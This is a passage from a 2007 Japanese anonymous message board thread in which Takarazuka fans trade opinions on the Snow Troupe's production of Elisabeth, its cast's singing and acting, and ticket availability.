528 ：名無しさん＠花束いっぱい。：2007/07/06(金) 09:37:11 ID:HMygeQv6

大劇場はあさこファンもいたのに大入りが出なかったってわけか。
やっぱり、東宝完売したり大劇場で大入りが出るのがエリザの普通の状況で
そうじゃなかった月が異常事態ってことでしょ。
その後のあさこ月の状況見ればわかる。
いくらあさこファンがあさこエリザが良かったって言われても
あのエリザが良かったとは思えないし、一般ファンも指示しなかったってことだよ。

529 ：名無しさん＠花束いっぱい。：2007/07/06(金) 09:45:54 ID:5CLRMWSB

>514の意見をよく聞くので期待してビデオ見たら
そうかあ？別に…って感じだった。
あんまり期待しすぎると良くないんだろうな。

530 ：名無しさん＠花束いっぱい。：2007/07/06(金) 11:01:45 ID:2A9IdCfn

やっぱ初演の感動っていうのも大きかったんじゃない？
比較するにつれ、感動した記憶って美化しちゃうものだし。
劇場で観るかビデオで見るかもかなり違うだろうしね。

531 ：名無しさん＠花束いっぱい。：2007/07/06(金) 14:41:18 ID:9PNAXyRp

「闇広」は花組だな。
「私だけに」は板違いが許されるならマヤさん。あの歌声は奇跡！！
ビジュアルの欠点なんか細かい事はどうでも良くなるような、神々しいほどの絶品の歌声。
他の「パパみたいになりたい」の曲？も「病院訪問」の曲も全部、完璧にエリザの魂そのものの歌声だと感じました。

532 ：名無しさん＠花束いっぱい。：2007/07/06(金) 14:48:43 ID:9PNAXyRp

↑ｼﾏｯﾀ！上げちゃった…ｽﾐﾏｾﾝm(__)m

533 ：名無しさん＠花束いっぱい。：2007/07/06(金) 15:14:47 ID:ZrguNjo6

ヲサとお花のエリザが見たかったー。

534 ：名無しさん＠花束いっぱい。：2007/07/06(金) 17:10:44 ID:maEQuMUO

てか、前回、今回と
トップ変われば（変わればは語弊あるか、歌上手ければ）
そこまで悪くないエリザや思う

あと個人的に
最後の方やったからか、となみ悪くなかったで

つか、新公メッチャ良かったみたいやが
見てる人おったら教えて☆

535 ：名無しさん＠花束いっぱい。：2007/07/06(金) 20:16:36 ID:dI1C1wAe

チケ難なのは当たり前。
その手の心理作戦じゃ抜群に力を発揮するミズ会がチケ仕切ってるから。
ムラ楽も前日の晩までチケ難演出してたぐらい。
当日サバキ出まくってかぶった人が多数いるみたいだけどｗ

どうせ東京だと完売はするからね。
後はオクを高騰させるべく、蛇口を閉めれば簡単。
供給量が少なければチケは当然高騰する。
こういうものは心裡だから。
本当の中身なんて余り問われない。
チケ難と噂が立てば、一層チケ難になる。

最高値で売り切って、次の公演のチケを買い占める資金を作る。
そしてその資金で買い占めて、チケ難演出してまた次の資金作り。
今までにも、同じ事をやっていた会がないとは言わないけどね。
生徒自身がかなりお賢いタイプでないとできない。

某○告○理店の人間がバックアップしてるんだろうけどｗ
ネットでもさりげなく、チケ難を煽るカキコをするあたりね。

536 ：名無しさん＠花束いっぱい。：2007/07/06(金) 20:19:10 ID:bTDCx39/

>520
オケピ、出るには出てるんだよ、ちらほらと。
ただ、出品10分後には４入ってたり、で、すぐ消えてる。
こまめにチェックしてたらいいよ。

となみ、最後のほうは結構よかった。
最初は本当に酷くって、ファンもorzっての分かる気がしたけど。
テルも後半に入ったある日以降いきなり良くなってたし。
東京は手持ちチケゼロにつき行けませんが、皆さん楽しんできて～。

537 ：名無しさん＠花束いっぱい。：2007/07/06(金) 20:38:39 ID:8+LtxnI4

東京公演
当日券てどれくらいの人が並びますか?

538 ：名無しさん＠花束いっぱい。：2007/07/06(金) 20:46:31 ID:xrNVSTZt

>535
東京初日、水会で追加募集があったよ。
友人までOKだった。

539 ：名無しさん＠花束いっぱい。：2007/07/06(金) 20:50:30 ID:8q5N+nd4

じゃあ慌ててオクに手を出さないで、
一杯抱えてる水会がそのうちオケピやさばきに出すのを待てばいいのね。

540 ：名無しさん＠花束いっぱい。：2007/07/06(金) 21:25:15 ID:nHZIBvPN

>>536
レスありが㌧！
そうなんだよね。オケピは一応出るには出るんだけど、すぐ消えちゃう。
でも当日券なり何なりで1回は観に行くぞ
チケ探しガンガルよ(゜∀゜)

541 ：名無しさん＠花束いっぱい。：2007/07/06(金) 21:37:27 ID:LKE/ihDF

出るには出るけど、交換ばっかりだよorz

542 ：名無しさん＠花束いっぱい。：2007/07/06(金) 22:19:33 ID:FoaScEOG

となみ歌がなあ…
演技もぼけた大根役者で苦手。
あれだけのドレス着たら誰でもきれいにみえるよ。

543 ：名無しさん＠花束いっぱい。：2007/07/06(金) 22:41:09 ID:Fxjp9MVm

>>529
ビデオでは伝えられない、生での感動がありましたですよ。
ビデオ見たけれど、生の何分の一の迫力もないと思ったもの。

544 ：名無しさん＠花束いっぱい。：2007/07/06(金) 22:52:09 ID:tY8Qb90p

>>523
漏れは少女時代の「はーい」ってちょっと不満そうな返事と
ルドルフにニコって笑いかけるところが好きだったな…。
本当に「大丈夫、あなたなら自分で解決できるわ」って息子を信頼してる感じでよかった。
その直後の、ルドルフを失ったショックと後悔の大きさが実感できたよ。

マダムヴォルフはえりさんが一番かなあ。
妖艶でしたたかな感じで。

545 ：名無しさん＠花束いっぱい。：2007/07/06(金) 23:50:23 ID:RCxCGa1I

２番手以下に捌ける会がないからじゃないの？

546 ：名無しさん＠花束いっぱい。：2007/07/06(金) 23:54:25 ID:PHCoZbOd

>>545雪不入りの原因はそこか？

ってそろそろｽﾚﾁか。

547 ：名無しさん＠花束いっぱい。：2007/07/07(土) 00:07:07 ID:4voesBpD

こうして水ファンは、組内に敵を増やしてくんだな

孤立無援

548 ：名無しさん＠花束いっぱい。：2007/07/07(土) 02:30:14 ID:HbF637aD

初日を見たｦ。水もとなみもみんな好きなんだけど、つまんなかった。
ピリっと来ない。パンチがない。
待望のハマコゾフィーすら不完全燃焼な感じ。なんでだろ。

549 ：名無しさん＠花束いっぱい。：2007/07/07(土) 07:15:59 ID:5ZrIpWlI

うん。ハマコ、影がうすい感じ。
あんま迫力もなく抑えた演技だよねー。
イケコの指示か？
牛耳ってる感はない。
リヒテンシュタインもなんか地味だなー
歌うまい人なのにうまいと思えないんだけど･･･
ルイルイが適任だた

550 ：名無しさん＠花束いっぱい。：2007/07/07(土) 09:13:03 ID:SXr4rcNJ

えー、るいるいのリヒテンシュタインは可愛すぎて、
「こんな可愛いのが宮廷にいるのに、やっぱフランツって○ス専？！」って思ったぞ。

551 ：名無しさん＠花束いっぱい。：2007/07/07(土) 09:31:00 ID:WKco2L+M

るいっこのリヒテンシュタインはキツさが良かった。
思い切りあさこシシィ突き放してて、小ゾフィーつうか小姑って感じで。

552 ：名無しさん＠花束いっぱい。：2007/07/07(土) 11:26:04 ID:y1Bttlo+

自分がもうエリザ見飽きてて
新鮮さを感じないつーのもあるかもしれないけど
ずいぶんアッサリしたエリザだった。今まで見た組の中で一番アッサリかも。
鏡の間も闇広も盛り上がらなくてサッと終わった感じ
よく言えば上品でスマートな舞台なのか？
歌はどの役も言われてるほどひどいとは思わなかったが
やっぱり歌唱が全体に弱い、迫力がない。
エリザは歌で観客をひっぱっていく作品なんだとあらためて痛感。

553 ：名無しさん＠花束いっぱい。：2007/07/07(土) 13:11:56 ID:MdoXtYqg

るいちゃんよかったね
おばちゃん声のリヒはいやだ　アニメ声のるいちゃんが一番

554 ：名無しさん＠花束いっぱい。：2007/07/07(土) 13:17:49 ID:HBi+GTv1

>514
超亀だけど、私も闇広はイチロトート＆タールドのが好きだよ。
もちろん初めてエリザを観た感動も手伝ってるとは思うけど。
オサトート＆ゆみルドもたしかに良かった。

555 ：名無しさん＠花束いっぱい。：2007/07/07(土) 14:04:28 ID:XgUnFmd7

歌が下手でもなんとかなった例がある。
しかし、それはビジュアルやら演技やら気迫やらが歌唱力をカバー出来た時だ。

だいたいお披露目なんだから、ここで一発、「これが雪組だ！」ってアピールも兼ねておもいっきりやってもいいと思うんだが。
それこそ「オレオレ」じゃないのか？

556 ：名無しさん＠花束いっぱい。：2007/07/07(土) 14:09:07 ID:IYri6qLb

>>546
今年始めに聞いた話だと。
雪は大変らしいよ、（今はエリザだから救われているのか？）
動員が安定しているのは月と星。
花はオサが辞めたらどうなるか。
宙は予測不可能、（さんざんだったね。）

557 ：名無しさん＠花束いっぱい。：2007/07/07(土) 14:22:06 ID:ULyJAF57

>556
そうなんやね
まあ、うまい人少ないし、良い人辞めてまうし、
トップの基準よくわからんし、
わからんでも無いような気がします

558 ：名無しさん＠花束いっぱい。：2007/07/07(土) 15:33:45 ID:BgZjuRSp

となみ、新聞などの取材で「地に足のついたエリザベート」「新しいエリザベート像」
とか語ってますが、これって言い訳にしか聞こえない･･･
批判が多いから、「新しい」とか使ってるような･･･
ウィーン版観たから強い女性を演じているらしいが、
ただの怒鳴りまくり下品なプリンセスにしか見えない。
役作り間違えてます。
新しいとかいらないんだよねー。シシィに関しては

559 ：名無しさん＠花束いっぱい。：2007/07/07(土) 15:46:08 ID:k5nyqzHQ

>>558
もう言い訳するしかないだろ・・・

いかにも娘役的なアプローチをすればそれはそれでたたかれてただろうし。
どうせ薄いんだから本人の好きなようにさせてやればいい。

560 ：名無しさん＠花束いっぱい。：2007/07/07(土) 16:37:03 ID:96JGGp6w

地に足どころか浮き足立っているようにしかｗ
新しいというより履き違えたという方が正しいのでは？＞となみ

新しいものを作るにはせめて技術的に最低のレベルを脱してからにしてほしい。

となみってシリアスな場面になるとワンパターンでやたら押し殺した声にするけど台詞が聞き取れないんだよ。
それと散々言い尽くされてるが、歌が下手すぎで話にならない。
初めてドレスを着たようなたどたどしい動きもいい加減にしてくれ。

某国の皇太子妃のような下品さを感じる。

561 ：名無しさん＠花束いっぱい。：2007/07/07(土) 19:28:07 ID:Nc9UGu8E

本日3時30分の部、フジテレビの男おばさん、笠井アナご観劇でした

562 ：名無しさん＠花束いっぱい。：2007/07/07(土) 19:45:27 ID:2PIdKBut

サバキでてますか？

563 ：名無しさん＠花束いっぱい。：2007/07/07(土) 20:13:19 ID:d8a/QqQ2

>558
地についた新しい、なら男役だからこそのあさこシシィかな
上品なら女帝
色っぽいならあやか
たくましいならみどり

>557
月組もやめまくってますorz　こんな短期間に組長一人と副組長二人が
やめるなんてえらいこっちゃです
どこもそういうことを乗り越えてきてるんですよ

>555
そう、今ではどこでやっても絶対比べられるんだから開き直ったモン勝ちなんだがな
なかなかはっちゃけない組なの？雪組は？　（気ｨ悪くしたらごめんね）

>554
ｵｲﾗも歌でバトルしてるイチロ×ターの闇広が好き～
オサ×ユミコはハモりが綺麗に決まって上手いんだけど、バトルってなくて
やや物足りない
そういう点では星マリコ×ブン闇広は歌はﾏﾘｺさんアチャーだけど
バトルってるから嫌いではない
目の保養はやっぱズン×コムだね！

564 ：名無しさん＠花束いっぱい。：2007/07/07(土) 20:25:21 ID:XBWCkax+

キム一人張り切っている感じで痛々しかった・・・
つか気の毒に思えた
ウィーン版観て「私だけに」は高音出せばいいってもんじゃないって学んだ

565 ：名無しさん＠花束いっぱい。：2007/07/07(土) 21:17:18 ID:u2oLvFvR

そう？私はキムのルキーニが一番なじめなかった。
っていうか子供っぽいし、キムはまだまだ芝居にスキだらけって気がする。
狂気っぽくないんだよーなにか足りない。
動作もふっとただの若造にもどっちゃうとこ多いし。
ただそれっぽくやればいいもんでもない。もっとほりさげてほしい～

566 ：名無しさん＠花束いっぱい。：2007/07/07(土) 21:22:34 ID:IcOJ0X6r

闇広といえば今度の雪組…
スカステで初日の映像見てまずガクっときて
実際に見て「………。」となって
でも公演中にどんどん良くなったとネットで評判だったので信じてたら
千秋楽の映像で「えっと…こ、これで？」とまたガクっとなった。
東京で少しは進歩してるのかな。

567 ：名無しさん＠花束いっぱい。：2007/07/07(土) 21:32:32 ID:XBWCkax+

いや、周りは淡々として軽いんだけど演技が上手いかどうかは別としてキム一人
張り切っている感じがしたの
重いなと感じたのはフランツがルドを叱りつけたとこくらい
ハマコはいつもよりパンチ不足で期待はずれだった
はっきりいうと、キム以外手を抜いてんのかと思った

568 ：名無しさん＠花束いっぱい。：2007/07/07(土) 22:43:35 ID:MdoXtYqg

本日初見だけど、ハマコゾフィーはすごくいいと思ったよ
すごく威厳があって綺麗で大げささがなくて上品
かおりヴォルフもいづるヴィンもここで言われてるほど酷くなかった

569 ：名無しさん＠花束いっぱい。：2007/07/07(土) 22:54:51 ID:Gra5Ndxw

>>556
動員が安定しているのは月と星。
動員が安定しているのは月と星。
動員が安定しているのは月と星。

？？

570 ：名無しさん＠花束いっぱい。：2007/07/07(土) 23:41:22 ID:hMdWs/eM

キムよかったじゃないか～
かっこいい！
顔はかわいいのは仕方ない。

571 ：名無しさん＠花束いっぱい。：2007/07/07(土) 23:56:05 ID:3iNg050v

ハマコゾフィは自分もいいと思った、こわくて貫禄があって、でも上品、歌も圧倒的に上手い。
舞台全体の印象としても上品、若々しくて時々かわいらしさも感じるエリザだった。
別に役者の学年が特に低いわけではないので
上品なのもどことなくかわいらしいのも彼らの芸風かなと思う。

572 ：名無しさん＠花束いっぱい。：2007/07/08(日) 00:15:23 ID:wtfTjp53

確かに上品だよね。皇室の方々はもう完璧にお上品。
トートも黒天使も品があり、閣僚や革命家もマダム・ヴォルフも
ルキーニでさえ頑張って下卑ようとしてもどこか可愛らしい。
でも宝塚としてはそれだからいいのかも知れない。

573 ：名無しさん＠花束いっぱい。：2007/07/08(日) 00:17:37 ID:5+55agnU

マダム・ヴォルフはだめだった…
あと１０年たったらいい具合の熟女になるだろうにとは思ったけど

574 ：名無しさん＠花束いっぱい。：2007/07/08(日) 00:39:05 ID:YjbuIg8K

マダムはミキかヒメあたりに叩かれるくらい濃くクド～くやって欲しかったかも。
かおりは悪くはないけどインパクトがね。

575 ：名無しさん＠花束いっぱい。：2007/07/08(日) 09:35:41 ID:O19+lIM9

マダムヴォルフ、若すぎで影薄い。
キム、顔がかわいすぎてルキーニになりきれていない。
狂った様子も感じられない。
前レスにもあったけど、となみの押し殺した声には「またか～」って思う。
押し殺せば良いってモンではないのに。
歌も押し殺して歌ってるけど、あれが癇に障るな･･･

もうタカラヅカでエリザベートしなくてもいいとおもう。

576 ：名無しさん＠花束いっぱい。：2007/07/08(日) 10:06:28 ID:Xo0/ywge

575さん、それは困る
ヅカのエリザは
ウィーン版とも東宝版とも違う創りなんだから
大事に育てていって欲しい

ヅカでエリザをやめるのは
ベルばらやらなくなるようなもの
そんなこと
今となってはもう考えられない

577 ：名無しさん＠花束いっぱい。：2007/07/08(日) 10:20:33 ID:mKAtGSai

ttp://jp.youtube.com/watch?v=aJjHpQpKoYY
子ルドｶﾜﾕｽｗ

578 ：名無しさん＠花束いっぱい。：2007/07/08(日) 13:14:51 ID:Ygh2N+7Z

やめなくていい。
けど頻繁にやるのは止めてほしい。もう一周したし。

しかしぶっちゃけエリザの方が特出が必要なんじゃないかと思ってたりする。
番手とかローテの関係でややこしいけど。

579 ：名無しさん＠花束いっぱい。：2007/07/08(日) 13:25:01 ID:Ygh2N+7Z

連投ｽﾏｿ
>>569
安定っていうか、低空飛行ってのを保っ(ry

両方贔屓組なんだが。

580 ：名無しさん＠花束いっぱい。：2007/07/08(日) 14:12:18 ID:vH8mzSXS

>>579
駄作でもある程度入る。
基礎動員数が多いって事かなって思った。
月は三枚スターがいるし、星はトウコ様ｗだし。

581 ：名無しさん＠花束いっぱい。：2007/07/08(日) 15:57:17 ID:Ij0oKFDe

まあ、次は星エリザに期待
しかし、トップ以外歌えないんだが。。。

582 ：名無しさん＠花束いっぱい。：2007/07/08(日) 18:33:53 ID:Ygh2N+7Z

>>581脇がいる、組長以外にトップより上級生がにいる、
芝居もできそう。

しかし肝心の主要メンバーがあんまり歌えない・・・
多分実現したら、しいフランツ、れおんルキーニ(すずみんはどっちでも見れそうｗ)になるんだろうが。
しみこルドルフとかエーヤンの歌手水輝君とかも気になるけどさ。

583 ：名無しさん＠花束いっぱい。：2007/07/08(日) 18:58:19 ID:Xo0/ywge

しいフランツなんて想像だにできない
一番難しい役じゃないですか
今の布陣で見たいの？

584 ：名無しさん＠花束いっぱい。：2007/07/08(日) 19:10:44 ID:3PMFKVFp

しぃちゃん案外フランツでブレイクするかもよ
包容力は抜群だから

585 ：名無しさん＠花束いっぱい。：2007/07/08(日) 19:27:29 ID:FHe+U3xu

今日、今回の雪エリザ初見の人の感想。

聞いてたよりうんと良かった。
白羽は２幕がちょっと芝居が弱いと思ったけど
あれだけ華やかで綺麗だと、死ぬまで周りの人を魅了し続けたシシィには充分見えたし
歌も悪くなくてトータルで○。
但し、トートが出てくる度に場面のテンション下げるのは最悪だった。

トートさえ、オサかトウコと入れ替えて
＆ハンガリー革命家さえ入れ替えれば
歴代最高のエリザって。

586 ：名無しさん＠花束いっぱい。：2007/07/08(日) 20:31:10 ID:bcCaoYJ0

前の月組が××だったからな～
雪組はすんなり観れるよ。
トートの妖しさ、ルキは可愛いが巧いし、ルドはただただ美しく儚い。
エリザは華やかで綺麗。
みんなそれぞれ似合っててよかったよ。楽しめた。

587 ：名無しさん＠花束いっぱい。：2007/07/08(日) 20:40:28 ID:vH8mzSXS

どの組のも評価はわかれると思うけど、
評価の両極端っぷりでは月と今雪は双璧だと思う。
自分はあさこシシィもみずトートも好きというか興味深い。

588 ：名無しさん＠花束いっぱい。：2007/07/08(日) 22:25:42 ID:w3KPJHIi

私は今の雪メンバーのエリザベートが好き。
誰を入れ替えたって、あの雰囲気は出せない。
今のままのメンバーで、満足している。

589 ：名無しさん＠花束いっぱい。：2007/07/08(日) 23:32:32 ID:OKrvtdq9

私はトートとシシィとマダムヴォルフを変えてくれたら、
今の雪は悪くは無いかな。
コーラスはもっと勢いほしいけど。
トートは美女と野獣の野獣みたい。
報われない愛に振り回されすぎてて、もの凄く小物に見える。
シシィはどうしようもないな。
ワンパターンの苦悩にわざとらしすぎる子ども時代。
品はそれなりにあるけど気高さのない生命力の乏しいシシィ。
こんなもんエリザベートじゃないだろ。
マダムヴォルフは何故彼女にしたのか分からん。適役は他にもいるだろう。
せっかくの歌がまったく活きてない。エトワールだけで充分だった。

ルキーニとゾフィは過去最高かっていうくらい出色の出来だし、
フランツもとてもいいのにね。

590 ：名無しさん＠花束いっぱい。：2007/07/09(月) 01:16:45 ID:3Dok+RDX

ムラの時はシシィとヴィンディッシュ嬢、なんとかもうちょっと頑張れ～！と思っていたが、
東京でヴィン嬢は演技？を変えてきて、すごくよくなってた。
あとはシシィ…なんとか頑張ってくれぃ（祈）

591 ：名無しさん＠花束いっぱい。：2007/07/09(月) 02:42:49 ID:0RhpS2Hl

昨日の阪急貸切はかなりgdgdだったなあ・・・

592 ：名無しさん＠花束いっぱい。：2007/07/09(月) 04:02:27 ID:Z6jKZ7OZ

雪組公演、みてきました。

水トートがあっさりしすぎ。
というか、歌に深みがなく、声量もないので、軽い！軽すぎる。

エリザ：あんまり印象に残らない。頑張れ。
フランツ：歴代フランツの中でも最高かと。
ルキーニ：上手だが、少年のようで狂気さが皆無。
ルドルフ…。本当にルックスだけ。歌の練習してんのか？？？？
ゾフィー：上手。上手。上手。専科の人のようでした。

ってな感じ。

593 ：名無しさん＠花束いっぱい。：2007/07/09(月) 04:55:25 ID:IRHSEYaS

本当にゾフィーが牛耳ってる状態だなぁ・・・
いやハマコは問題ないんだ。
ゾフィーのハマコに頼らざるを得ない公演ってどうよ。

594 ：名無しさん＠花束いっぱい。：2007/07/09(月) 05:21:55 ID:ybq7PvjL

昨日観てきた。今回の雪組は初見、やはり主役二人はレベル低いと感じた。
そして二人とも顔デカイなーというのが第一印象。
水は声が軽い。そのせいなのか、全体にうすっぺらい。
顔がデカイ分だけ身長がもう少し高ければよかったのに…小さなトートだった。
となみの表情が汚い。顔に縦線が入るのは何故？
しかも演技が大袈裟すぎでワザとらしい。
フィナーレのタンゴがドタバタしてかなりどんくさかった。

595 ：名無しさん＠花束いっぱい。：2007/07/09(月) 07:44:52 ID:o843fEim

初めてここに来たが・・・
なにこのアンチスレ？！ｗｗｗ
すごいね、なんか執念を感じるね。

596 ：名無しさん＠花束いっぱい。：2007/07/09(月) 07:46:14 ID:DMEREaIo

軽い、あっさり、迫力がない。
ゆみこフランツはさすが。自分的には歴代フランツの中でベスト。
トート＆ルドは頼むから｢闇が広がる｣をどうにかしてくれ。
｢♪おーざに～すわるんだあ～｣｢お～ざぁ～♪｣の所で
本気でずっこけそうになった。
(ほんとにひらがなで歌ってるみたい)
夜のボートは意外と聞けた。ゆみこの力か？

とにかくエリザベートは歌えるキャストを揃えなければ話にならない。
一周したんだし、次からは歌重視で頼む。

597 ：名無しさん＠花束いっぱい。：2007/07/09(月) 07:54:50 ID:gxyfZk4g

>>595
おんなじ人の執念書き込みが続いてるのよｗ

放置放置・・

598 ：名無しさん＠花束いっぱい。：2007/07/09(月) 08:07:49 ID:SxX97DvU

ここはアンチ隔離スレなんでﾖﾛｼｸ。

599 ：名無しさん＠花束いっぱい。：2007/07/09(月) 08:10:43 ID:f+iLOLO7

初日のニュース観たよ。
ムラのときより、初日は無難にあっさり仕上げた印象。
お稽古シーンでは、白熱していたが、初日は緊張がまだあるのかな。
ムラでは、あの初日よりずっと熱いものがあったので、
今後、東京でもこってり熱く、という日がやってくる気がします。

600 ：名無しさん＠花束いっぱい。：2007/07/09(月) 08:23:11 ID:fg1hMiu8

>>590
東京のヴィン嬢の演技がどう変わったのかkwsk

601 ：名無しさん＠花束いっぱい。：2007/07/09(月) 09:50:54 ID:es0R9mai

都合の悪い書き込みは全部アンチだなんて、痛すぎだな。

いづるんは従来路線ではなく、完全に別世界にいる感じだった。
幸せそうで、となみエリザの哀れさが強調されてていいと思う。

602 ：名無しさん＠花束いっぱい。：2007/07/09(月) 10:47:23 ID:1iswfTVN

>>580

宝塚エリザは来年はない。2009年になります。

603 ：名無しさん＠花束いっぱい。：2007/07/09(月) 13:19:49 ID:13rf4E0e

昨日当日券に並んだ。
8時半過ぎから並んで、立ち見ギリギリセーフ。
列の前の方は6時前から並んでいたとか言っていた。それでも20番目以降だった
から、徹夜してた人もいたっぽい。

エリザ実際に舞台で通しで見るのは初めてだったけど、割とあっさりしていた印象。
水は健闘してるけど、持ち味が重厚タイプじゃないから、どうしてもトートの線が細い。
となみは一幕は凄く良かったと思うけど、二幕は失速していたように見えた。
ゆみこフランツは麗しくて良かった。が、フィナーレの銀橋ソロの顔は何とかして。
キムルキーニは私には合わなかった。もうちょっといかがわしさが欲しかった。
テルルドルフは……マジ頑張ってくれ。
ハマコゾフィーは、品のある怖さで、歴代トップ争いに載せられる出来かと。
立ち見で遠かったから、近くで見たらまた印象違うかも。見れないけど。

604 ：名無しさん＠花束いっぱい。：2007/07/09(月) 13:24:55 ID:UjJN8poJ

ＥＮＡＫにエリザのステージグラフアップ。
つttp://www.sankei.co.jp/enak/sumirestyle/2007/jul/kiji/elisabeth/00.html

605 ：名無しさん＠花束いっぱい。：2007/07/09(月) 14:41:03 ID:j88nV5qd

トート：オサ
シシィ：かおり（卵とオレンジと器械体操でダイエット済）
フランツ：ゆみこ
ルキーニ：ハマコ
ルドルフ：キム
エルマー：みっちゃん
ゾフィー：タキさん
マダムヴォルフ：美穂さん
ヴィンディッシュ：たっちん

あたりで見たいなぁ。

606 ：名無しさん＠花束いっぱい。：2007/07/09(月) 15:05:00 ID:ZemZnQZ/

>605
キャスティングスレ向き

>604
ミズかっこいい。鬘がちょっと変わった？軽くウェーブかかってるような。
いづるんが綺麗。

607 ：名無しさん＠花束いっぱい。：2007/07/09(月) 15:35:26 ID:7lb4EkBs

今までのエリザにあった世紀末的オドロオドロしさは薄いね。
演出も今回はオドロオドロはねらってないと見た。
確かに重く暗くズシーンとは来ないがこれはこれで好きなエリザだ。
役者の甘くロマンチックな持味が生かされて
統一された世界が形づくられている。

608 ：名無しさん＠花束いっぱい。：2007/07/09(月) 15:54:08 ID:EhDLivoA

自分的な功労者。
ハマコのゾフィのすべて。
ユミコのフランツの歌と芝居。
シナちゃんのオランダの美女。
かなめのルドルフのルックス。

609 ：名無しさん＠花束いっぱい。：2007/07/09(月) 16:27:14 ID:FBhygM+o

マダム・ヴォルフこそ男役にやらせればいいと思う。
かおりには確かに荷が重かったけど、歴代を振り返っても
満足だったマダム・ヴォルフってあんまり浮かばない。
そもそも宝塚の娘役が一番苦手とする音域であり役柄だよね。

610 ：名無しさん＠花束いっぱい。：2007/07/09(月) 17:47:26 ID:YvoGk9ZH

>609
初代雪のみほさんのマダムはメチャうまかった

まあ意見はそれぞれで
たしかに演技もあるが
ミュージカルはなんと言っても
絶対歌うまい方がいいよ

611 ：名無しさん＠花束いっぱい。：2007/07/09(月) 19:20:26 ID:PPH09Lqe

ＥＮＡＫきれい。
タンゴのとなみ、表情がいい。

612 ：名無しさん＠花束いっぱい。：2007/07/09(月) 19:42:29 ID:vbbOGdW4

花のエンカレのかなみんマダム・ヴォルフの歌はよかったよ

613 ：名無しさん＠花束いっぱい。：2007/07/09(月) 19:59:52 ID:6nW18yos

声量がある＝うまいと思いがち？
それだけじゃ、心に響かないんだよね。

614 ：名無しさん＠花束いっぱい。：2007/07/09(月) 21:04:50 ID:kY4rGraY

>609
つナイスﾊﾞﾃﾞｨ＆チチのエリさん

615 ：名無しさん＠花束いっぱい。：2007/07/09(月) 23:04:09 ID:mKryUcA3

>>613
心に響くほど上手い人がなかなかいないから、せめて声量だけでも・・・。
舞台人なんだからってかんじかな。

616 ：名無しさん＠花束いっぱい。：2007/07/09(月) 23:30:11 ID:dsqTgvpz

声量があるだけでは上手くもないし、心に必ず響くってわけではないけど、
声量のないのはどんなに音程とリズム感があっていても、
表現力に乏しいのとイコールだから歌としては心にも響かないですよ。
それでも感動したのなら、それは歌に感動したわけではなく、
誠意をこめて歌っている姿に心を打たれているだけです。
せっかくの音楽の素晴らしさがまったくの無駄ですけどね。

617 ：名無しさん＠花束いっぱい。：2007/07/09(月) 23:38:10 ID:kY4rGraY

声量がある（●▽●）の歌は聞けたものではなかったぞ？

618 ：名無しさん＠花束いっぱい。：2007/07/10(火) 00:08:38 ID:aikQ+Xuj

人それぞれ。正解なんて無い。

619 ：名無しさん＠花束いっぱい。：2007/07/10(火) 01:50:32 ID:c65m8JZX

声量があるは、十分条件じゃないけれど、ある程度必要条件かもしれない。

620 ：名無しさん＠花束いっぱい。：2007/07/10(火) 08:10:01 ID:WhuBePwM

水さんは、下手糞で声薄っぺらくて、楽曲を全然歌いこなせないくせに、
歌が上手い人の歌唱法を、無理やり真似しようとする。
だから、失笑させられるんだよ。
たとえばずんこトートなら、ベースの楽曲にアレンジつけても
抵抗なく心地よく聞ける、でも、
水さんが、魅力のない声を荒げて、自信たっぷりにアレンジしながら絶唱したりしたら、
客席は失笑するんだよね。全然出来てない上、間抜けだもん。
お子ちゃまのように楽譜どおりに素直に歌えば、まだましなんだけど。

621 ：名無しさん＠花束いっぱい。：2007/07/10(火) 08:12:14 ID:WhuBePwM

それでも耳栓はあるに越した事ないけど。
アイマスクもほしい。

622 ：名無しさん＠花束いっぱい。：2007/07/10(火) 09:33:55 ID:ltmKlIGo

>>621
＞耳栓にアイマスク

何しに行ってんだｗ

623 ：名無しさん＠花束いっぱい。：2007/07/10(火) 10:43:36 ID:DMltYclQ

匂いを楽しむ舞台なのか？
相当前列だと確かに楽しめるけど…　ってｵｲ。

624 ：名無しさん＠花束いっぱい。：2007/07/10(火) 10:46:24 ID:tbRjeo6m

麝香の馨りがする。

625 ：名無しさん＠花束いっぱい。：2007/07/10(火) 11:16:02 ID:kIMBAk5Y

昨日は記者総見、記者たちの雑談漏れ聞くに、水となも評価高かった。
イケコが懇親会らしきもの終えて楽屋口から出てきた顔は上機嫌だったな。

626 ：名無しさん＠花束いっぱい。：2007/07/10(火) 11:31:51 ID:WHx9YkHn

記者さんにも水の歌唱力アップは嬉しい誤算？だったみたいだよ

627 ：名無しさん＠花束いっぱい。：2007/07/10(火) 11:57:35 ID:kIMBAk5Y

漏れ聞いた話を追加すると、
「おれは白城だな」「いや白羽エリザがいい」と語る記者たちがいた。
男たちにはこの２人がウケがいいようだった。

628 ：名無しさん＠花束いっぱい。：2007/07/10(火) 12:32:54 ID:HZk9vvXC

となシシィが評判悪いのは宝塚ファンに女が多いからか。
元男役には受けがよくて、元娘役には悪いって書いてた人もいたね。
あやかシシィは両性から支持が厚いような気がする。

629 ：名無しさん＠花束いっぱい。：2007/07/10(火) 13:38:29 ID:ltmKlIGo

でもやっぱり歴代シシィの中では、一番薄っぺらいよ・・・＜となみ
オーラというか気迫はお花、
芝居(特に晩年)はあさこ、
ビジュアルはあやかがよかった。
歌は5人の中ではみどりかな～

しかし、トートは歌ｳﾏｰか('A`)ｳﾍｪの両極端なのに、
「歌が上手い娘役」がやったシシィっていないな。

630 ：名無しさん＠花束いっぱい。：2007/07/10(火) 14:10:30 ID:MPBkK8JG

>617
（●▽●）にあるのは声量じゃなく肺活量

631 ：名無しさん＠花束いっぱい。：2007/07/10(火) 14:15:01 ID:kIMBAk5Y

初めて今回の雪エリザを観たが、
イケコの試みである新しいリアルが明らかに出演者全員に根付きはじめている。
そのなかで異物であることで魅力的な水トート像。
この雪２巡目は今後のエリザがまた変わるためのベースになる。
それがおそらく一番の収穫だろうな。

632 ：名無しさん＠花束いっぱい。：2007/07/10(火) 14:20:52 ID:NIxIYWrZ

>631ﾀﾝ、ＩＤにキムがいるお！

633 ：名無しさん＠花束いっぱい。：2007/07/10(火) 14:33:47 ID:kIMBAk5Y

>>632ﾀﾝ　ご指摘ﾄﾝ！
キムには正直びっくりした。
ここまで優等生を捨てられるとは！化けたね。
今後が楽しみだよ。

634 ：名無しさん＠花束いっぱい。：2007/07/10(火) 17:18:34 ID:4tZY/iTW

IDおめ!
いろいろ言われた雪エリザも方向性が定まって来たみたいで一安心です。
この調子で新公もうまく行くといいなぁ。

635 ：名無しさん＠花束いっぱい。：2007/07/10(火) 21:25:21 ID:4dHxOFZH

ルキーニ考

キム：やんちゃで悪さばっかり
